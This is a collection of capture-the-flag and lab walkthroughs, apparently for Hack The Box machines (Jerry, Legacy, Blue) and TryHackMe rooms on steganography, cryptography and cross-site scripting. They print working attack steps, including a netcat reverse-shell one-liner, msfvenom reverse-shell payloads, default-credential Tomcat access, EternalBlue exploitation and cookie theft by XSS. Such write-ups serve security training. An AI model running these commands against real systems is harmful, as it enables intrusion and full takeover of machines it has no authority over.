![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaatFT6i0p9jo2Jlk6H%2Fimage.png?alt=media\&token=21cefe7b-095e-4e76-a6cc-0aedc9b566d7)

And now we have to subtract one from the PID which will 2740

Now we have to create a file called run in the /tmp folder and add a payload in it, which will be our reverse shell.&#x20;

First we need to add&#x20;

```bash
#!/bin/bash 
```

to the file as then it can recognize that it is a bash script

```bash
echo '#!/bin/bash' > run
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f' >> run
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaawMHA90ciwz6YxFqm%2Fimage.png?alt=media\&token=e9a8efff-efbf-4179-bf1c-0a80e7a41f0c)

After this , start a listener on your machine and run the exploit with the PID - 1

```bash
./exploit 2740
```

After this you should have root :)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaaxROULFOzY6WrDy-P%2Fimage.png?alt=media\&token=8959b09b-3256-40d9-8a2c-cf5c7b2f7d0e)


# Jerry Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajKGDkh-S0sLqIk8Yb%2Fimage.png?alt=media\&token=26609851-62ac-453c-b906-866a8f318a33)

## Reconnaissance

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```
nmap -Pn 10.10.10.95
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajM-KLSf1P5Qi1dCIe%2Fimage.png?alt=media\&token=2da57d24-4c2e-4a64-bb44-c9004544a2f3)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 8080
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 8080 -oN nmap 10.10.10.95
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajMTSAg8POBI6vCbLr%2Fimage.png?alt=media\&token=a9bf7cf3-c0bf-48cf-a879-ff6ce3eae4ba)

Lets go visit the web server this machine is hosting on port 8080.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajMaQ3OTy4oHcuqxkJ%2Fimage.png?alt=media\&token=810383b7-4b6b-4a69-bfaa-362e6b1a8fab)

Looking at the site and testing around tells us that Apache Tomcat/7.0.88 is running on it and we need a set of credentials to login as manger to perform other actions.&#x20;

What we can do now is to go to google and search for default credentials that might work and let us login into the server. Also we can see a username and a password on the error page we get when we try to access the manager app with wrong credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajODQvnK9VqnIPuRnE%2Fimage.png?alt=media\&token=d8b768f5-993a-4981-9327-1b9abd11664a)

Lets try logging in with these credentials&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajOOatk72wEiHmdjoD%2Fimage.png?alt=media\&token=3ef563bc-5d6d-4934-ace0-882bdd60819e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajOVNWKRVdwI16o29L%2Fimage.png?alt=media\&token=7d249b6c-43fd-4705-adf1-8088e1c1b8cd)

And we are logged in! Now looking at the application we can see that we have an option to upload and execute WAR files, this is something that we can generate using msfvenom and try getting a reverse shell on the server.&#x20;

### Exploitation

First we have to generate the msfvenom war file calling it reverse.war. I'm using my machines IP for LHOST (Listening Host), make sure to add your IP to the command.

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=1234 -f war > reverse.war
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajPs5YEGwdgetYfce3%2Fimage.png?alt=media\&token=7a5c335e-f53c-4ef2-a3f4-4009991b7b0b)

Now lets upload the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajQ-i0iQq-LIUVj1rB%2Fimage.png?alt=media\&token=5e8d4fde-cd4e-4a64-a340-9fee72116054)

After clicking deploy we can see that it has been added as a path under the Applications tab

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajQDy7SigQDtxADGyq%2Fimage.png?alt=media\&token=d00ff931-953b-4635-8432-2127efd18e48)

After clicking the link (*/reverse*) we will get a reverse shell, so we first have to start a Netcat listener on our machine.

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajQ_B-0kc6L1zgV-DZ%2Fimage.png?alt=media\&token=15f4875a-9a01-4833-8d18-73122d244620)

Once we click the link, we get the reverse shell and as nt authority\system

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaiLDA2g1-_-dK7x1Nn%2F-MajQoCvX9aewkOr1kSb%2Fimage.png?alt=media\&token=50e75bcd-7e21-4d37-ad97-be3fc4bfa362)


# Legacy Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae4y3JQpxIVzaNYjUT%2F-Mae5Yi9hlNdAaVAM7Qr%2Fimage.png?alt=media\&token=f68a60c0-0af7-4899-9d23-5c1b228e5661)

## Reconnaissance

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```
nmap -Pn 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae60eyK31FxYatHfP_%2F-Mae7wu9sireLReWaqFb%2Fimage.png?alt=media\&token=78787af7-60dd-4342-95e3-eea4d26281e6)

Detailed Nmap Scan :‌

Command Breakdown:‌

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 139,445,3389
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 139,445,3389 -oN nmap 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-Mae9sV6IKJhH59PSZOD%2Fimage.png?alt=media\&token=1e45506f-c15f-46de-9624-1df9500ac3c2)

## Enumeration

SMB is a command service with vulnerabilities, lets use a nmap script specific to smb to find vulnerabilities.

```
nmap --script smb-vuln* -p 139,445 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeBIaUNcGLCKiUSv45%2Fimage.png?alt=media\&token=aa04dbc6-0eab-4c61-b05e-05e3009868ac)

We can see that it is vulnerable to [CVE-2008-4250 ](https://www.exploit-db.com/exploits/7104)(MS08-067) and [CVE-2017-0143](https://www.exploit-db.com/exploits/41891) (ms17-010) , two commonly known vulnerabilities

## Exploitation

The vulnerability that we will be exploiting is called Eternal Blue, a vulnerability that exploits Microsoft's implementation of Server Message Block (SMB) protocol. If an attacker sends a payload, the attacker would be allowed to execute arbitrary code on the target machine.

There is a great [article ](https://ethicalhackingguru.com/how-to-exploit-ms17-010-eternal-blue-without-metasploit/)explaining this vulnerability and how to exploit it.

First let us download the exploit from GitHub

```
git clone https://github.com/helviojunior/MS17-010.git
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeEhU4eO8WxD0FI84o%2Fimage.png?alt=media\&token=75fc3626-5a52-40bb-af62-7f7b49fd4394)

Now we have to use MSF Venom to create a reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1234 -f exe > exploit.exe
```

&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeFBfcRhBGWhjMn8IH%2Fimage.png?alt=media\&token=611c1c8f-5f87-4092-871e-73915cdfae76)

Now lets start a listener on our machine&#x20;

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeFR1RfeVMc3ULy47B%2Fimage.png?alt=media\&token=15b0b209-8376-4138-bf6e-56b95062849a)

Lets run the exploit&#x20;

```
python send_and_execute.py 10.10.10.4 exploit.exe
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeG2BsUPkW2CF20Ya9%2Fimage.png?alt=media\&token=0f928ed8-b500-4de4-97b1-8fea1efba985)

And we have a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeG6QMBeJixKcvmhEq%2Fimage.png?alt=media\&token=fd2efc1f-b6bd-4e75-a9f1-bb2e5ec05268)

Now if we try using the whoami command to find what privileges we have on the system, it does not work, so I just went looking for both the flags, and found out that I can read both of them which means we are NT AUTHORITY\SYSTEM.


# Blue Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaeugMDTDjzYcrhaXCh%2F-Maewh37qVD0uPCbWTHk%2Fimage.png?alt=media\&token=863fb230-2a47-4130-8fb8-8a6502112fc2)

## Reconnaissance&#x20;

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```
nmap -Pn 10.10.10.40
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaewqUwVvrKO-ZgLQtT%2F-Maex9J4UuxB2EsVe9wy%2Fimage.png?alt=media\&token=91330c74-914d-46e9-9354-91975da65d1b)

Detailed Nmap Scan :‌

Command Breakdown:‌

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 135,139,445
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 135,139,445 -oN nmap 10.10.10.40
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaewqUwVvrKO-ZgLQtT%2F-MaeyAAi5j11j8fyzSQ7%2Fimage.png?alt=media\&token=1f09e7f2-92c1-4c29-b5a1-13dd4c366bbc)

## Enumeration&#x20;

Lets run a nmap vulnerability script to find vulnerabilities.

```
nmap --script vuln 10.10.10.40
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf-Z2Mt2cfz_pnyjL-%2Fimage.png?alt=media\&token=dabfbe8a-1424-4636-9495-46b17b7c09b3)

We can see that it is vulnerable to ms17-010 , also known as Eternal Blue.&#x20;

## Exploitation

Let us go to searchsploit and search for this vulnerabilities exploit.&#x20;

```
searchsploit ms17-010
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf08p3MfGyaJnn3LWS%2Fimage.png?alt=media\&token=9e62af47-5243-467c-8b91-e7b68cb37824)

We see from the nmap scan that it is Windows 7 machine and there are multiple versions on the exploit we chose, so lets exploit the machine using that. Now we have to copy it to our directory

```
searchsploit -m windows/remote/42315.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf0cRbz6MDF6Ms2sP3%2Fimage.png?alt=media\&token=9a44097b-3dc8-48ae-8cf8-5116fa2e5678)

Lets read the documentation in the script and look at the steps to use this exploit

After reading the exploit, we have 3 steps to do:&#x20;

* Download a script called mysmb.py from the location they provided in the script
* Create a reverse shell using MSF Venom.
* &#x20;Add credentials and the reverse shell payload to the exploit

First let us download the script called mysmb.py and rename it to mysmb.py

```
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf2jCgDqt27Szned0R%2Fimage.png?alt=media\&token=803265fb-b2c7-4d02-a756-e25604553f21)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf33_uolzVJW0A0iUd%2Fimage.png?alt=media\&token=4f2e3d37-04ac-4a54-a985-e37911684209)

Next we have to use MSF Venom to create a executable with a reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.19 LPORT=1234 > exploit.exe
```

Now we have to change the exploit by adding credententials. At this moment, we don't know have or know valid credentials, so we can check what login is allowed, we can first test guest or user. We can do this using enum4linux. (**-a**) for simple enumeration.

```
enum4linux -a 10.10.10.40
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf4MAKHZadtV0pUM1R%2Fimage.png?alt=media\&token=8e3c21ce-d6dc-4348-86ad-2f383abdcde4)

We can see that guest is a know username, so lets use that, we have to add that to the USERNAME field in the script.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf4ZuI4Ew1m_FodFYQ%2Fimage.png?alt=media\&token=63341dec-738d-4515-b8f8-c5cb01754399)

Now we have to add the reverse shell location and execute the script (\*also remove the copy from r'cmd /c , I forgot to take it out while taking this screenshot")

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf5Vxt5MNEr8gp9drn%2Fimage.png?alt=media\&token=3ddcf535-966a-41c0-871f-98b4b2fe43a7)

Now, start the listener on your machine

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaezAceeFN3FS0LuKHB%2F-Maf5qUijsCOwWSiVL8c%2Fimage.png?alt=media\&token=e51c8212-2905-45e1-9b73-84cfb6d2158a)

Now run the exploit

```
python 45315.py 10.10.10.40
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maf8JoXsR5R08sba4ns%2F-MafECshDD6J4RGTfB3P%2Fimage.png?alt=media\&token=2ceff763-a0ea-4d43-9237-fe9aa11948ab)

And you should get a reverse shell, and as nt authority/system

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maf8JoXsR5R08sba4ns%2F-MafDXP6ZhZer4p0cKyS%2Fimage.png?alt=media\&token=34b3806e-4b24-468f-81e0-9f12abd76dca)


# Walkthroughs: Easy


# CC: Steganography

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjrEkgEEc77o0xI4Xz%2Fimage.png?alt=media\&token=b45fd930-4f01-4c44-8ed5-8fa158b1d28f)

## Intro

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjrM0CpK6eGdQPdLbE%2Fimage.png?alt=media\&token=66b5edfe-84f4-441c-93ad-30a92e4cbce1)

## Steghide

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-Mfjrjf_r6c61uWfY1k1%2Fimage.png?alt=media\&token=2435b5da-ce42-4283-91f4-846a17777bd5)

Lets use steghide on jpeg1.jpg (password: password123)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-Mfjs3i_TGbLam6xrw1s%2Fimage.png?alt=media\&token=ebf6390d-9265-4f10-bcb2-2611a5e77162)

## Zsteg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsBPZicDsBsYiuZpe%2Fimage.png?alt=media\&token=554441dc-1898-49cf-9abd-e09a5f4d4289)

Lets get the answers for the last two questions using zsteg

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsROvnEu2vINreyW4%2Fimage.png?alt=media\&token=aa341f66-991b-4b24-8dfe-9381085850e9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsUMTeD8y_p0-_wBo%2Fimage.png?alt=media\&token=c33c6938-d6d3-4783-8f99-31fec4c36653)

## Exiftool

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsYtjiLKkG1NkKKEw%2Fimage.png?alt=media\&token=8d735bc1-a81d-4339-b45c-a7a1a0a335e6)

Lets solve the challenge

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsiKvSS1fOSKcdGDH%2Fimage.png?alt=media\&token=1d2258c4-e229-4450-b8d8-1f217f3acf5c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-Mfjslvd0PV86IWNkpGn%2Fimage.png?alt=media\&token=49724464-9e8b-4b21-be50-0275eabee4bd)

## Stegoveritas

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjsrDr8iPjM3CW5hQQ%2Fimage.png?alt=media\&token=693d399f-56e5-4e34-9dbf-aa81df80a0e6)

Lets solve the challenge

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-Mfjt7h9X9eML2lNxGwn%2Fimage.png?alt=media\&token=c27b8a50-6098-4b39-83ed-b237940ef23b)

## Spectrograms

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjtHSvGRNbsbIbRz4Z%2Fimage.png?alt=media\&token=f2989ec4-aae5-468a-b924-bbf14f02fbed)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjtK8AWtODtFtKTwg9%2Fimage.png?alt=media\&token=99e9b236-345f-4c55-b3e4-748eee190e60)

Lets solve the challenge, first lets open sonic visualizer with the file and add the Spectrogram.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-MfjtnDky3HvUKKgk14F%2Fimage.png?alt=media\&token=d8807390-af09-41c3-b3bd-c00160f843b2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mfjr4vOJkB8SGdFYRfa%2F-Mfjtr7BuyooNE-DfYZv%2Fimage.png?alt=media\&token=2262d9e9-2e5c-4bde-8770-8628941e7c3c)


# Cryptography for Dummies

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiUzj2a0hGrXG5o_-y%2Fimage.png?alt=media\&token=09e6fc93-2bb4-457f-ae85-cd345d732a2f)

## Intro

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiUtkRAPhd-QvdoHu2%2Fimage.png?alt=media\&token=30e9d2f4-d917-44b7-808f-3f1a27b6ea8e)

## Types of Cryptography

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiVoZQpQ-EwSLAPECv%2Fimage.png?alt=media\&token=f5ce8470-a4fd-4e92-8bc1-174d0af42d0c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiWHnMJILJwXQsugBe%2Fimage.png?alt=media\&token=167d3478-98a9-48a2-b740-2bd2e49ae293)

## What is a hash?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiWXKzEzAqjXxdXGBD%2Fimage.png?alt=media\&token=f97c75bc-a597-4d0d-8907-3224058d7c0a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiX0F-1gXcgS79oYxZ%2Fimage.png?alt=media\&token=2ebf61aa-46df-449d-b204-6830f94a02ba)

## Decoding/Encoding

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiX6_vWOhbLXuCI8l4%2Fimage.png?alt=media\&token=eda7c8b5-c4ad-49c1-afb1-b284f72e6833)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfiUgqn4f8Kw8BSeL0i%2F-MfiXN2b_jM6P8Z5Yl5m%2Fimage.png?alt=media\&token=f1e8a87e-0cd0-4748-914f-4b13bffd3db2)


# Cross-site Scripting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_O6OPTCTfeBJZNuSg%2Fimage.png?alt=media\&token=0d6868a5-6839-454d-bad7-31e976dc4fbd)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_Ty1OjESJEy2f1oUe%2Fimage.png?alt=media\&token=66536f76-a748-4190-9206-2c9fae1aef68)

## Stored XSS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_UDRzI0gfguTO350b%2Fimage.png?alt=media\&token=c8d1e9fb-e0df-4180-91da-1704734af836)

Lets go to the Stored XSS Webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_UdGnEVtIN9lVlxjK%2Fimage.png?alt=media\&token=4ce455aa-9679-47c3-8978-88290fa832f2)

Lets try to add a comment on the page, first we have to create a user and login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_V6Ro9_x4RWnNL4SH%2Fimage.png?alt=media\&token=431d0f0b-d94f-4fbc-9f5b-4a03058ddf42)

Lets now try to add a comment.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_VGHvtltFmSV4WgTz%2Fimage.png?alt=media\&token=61ca2c23-b67c-4c4e-8dfd-1d674237732a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_VJC7tcwosxoPbquD%2Fimage.png?alt=media\&token=3db2bd36-da30-4f5e-bada-bbeb82a37c1f)

Now lets create an alert popup box appear on the web page with the document cookie.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_VcWXwM0UdIan7SDr%2Fimage.png?alt=media\&token=22f42e18-c005-43a7-bb9c-732ea6411377)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_VfXRU8L8osoBsWFx%2Fimage.png?alt=media\&token=2ba261c6-93bd-49f6-84a7-3d80d46ac05e)

Lets click ok

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_ViLMSGVS3_J2QrFR%2Fimage.png?alt=media\&token=51e92708-ed06-4f83-8f93-7bc0d08a2341)

Now lets change the XSS Playground heading to I am a hacker.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_W0sl1R810ixeQ9r-%2Fimage.png?alt=media\&token=135fd7c2-74d6-406f-bb52-550cdd339851)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_W7Zj1AJODHH-Wdkr%2Fimage.png?alt=media\&token=fbbf7891-780e-480d-b75f-162753331292)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf_Ni3aiqZt6p1PF7LE%2F-Mf_WDH0kzrS6Nyt0LJS%2Fimage.png?alt=media\&token=3381e490-cf9b-4223-8467-5662a898f041)

Lets now try to take over the user Jack's account by stealing his cookie.

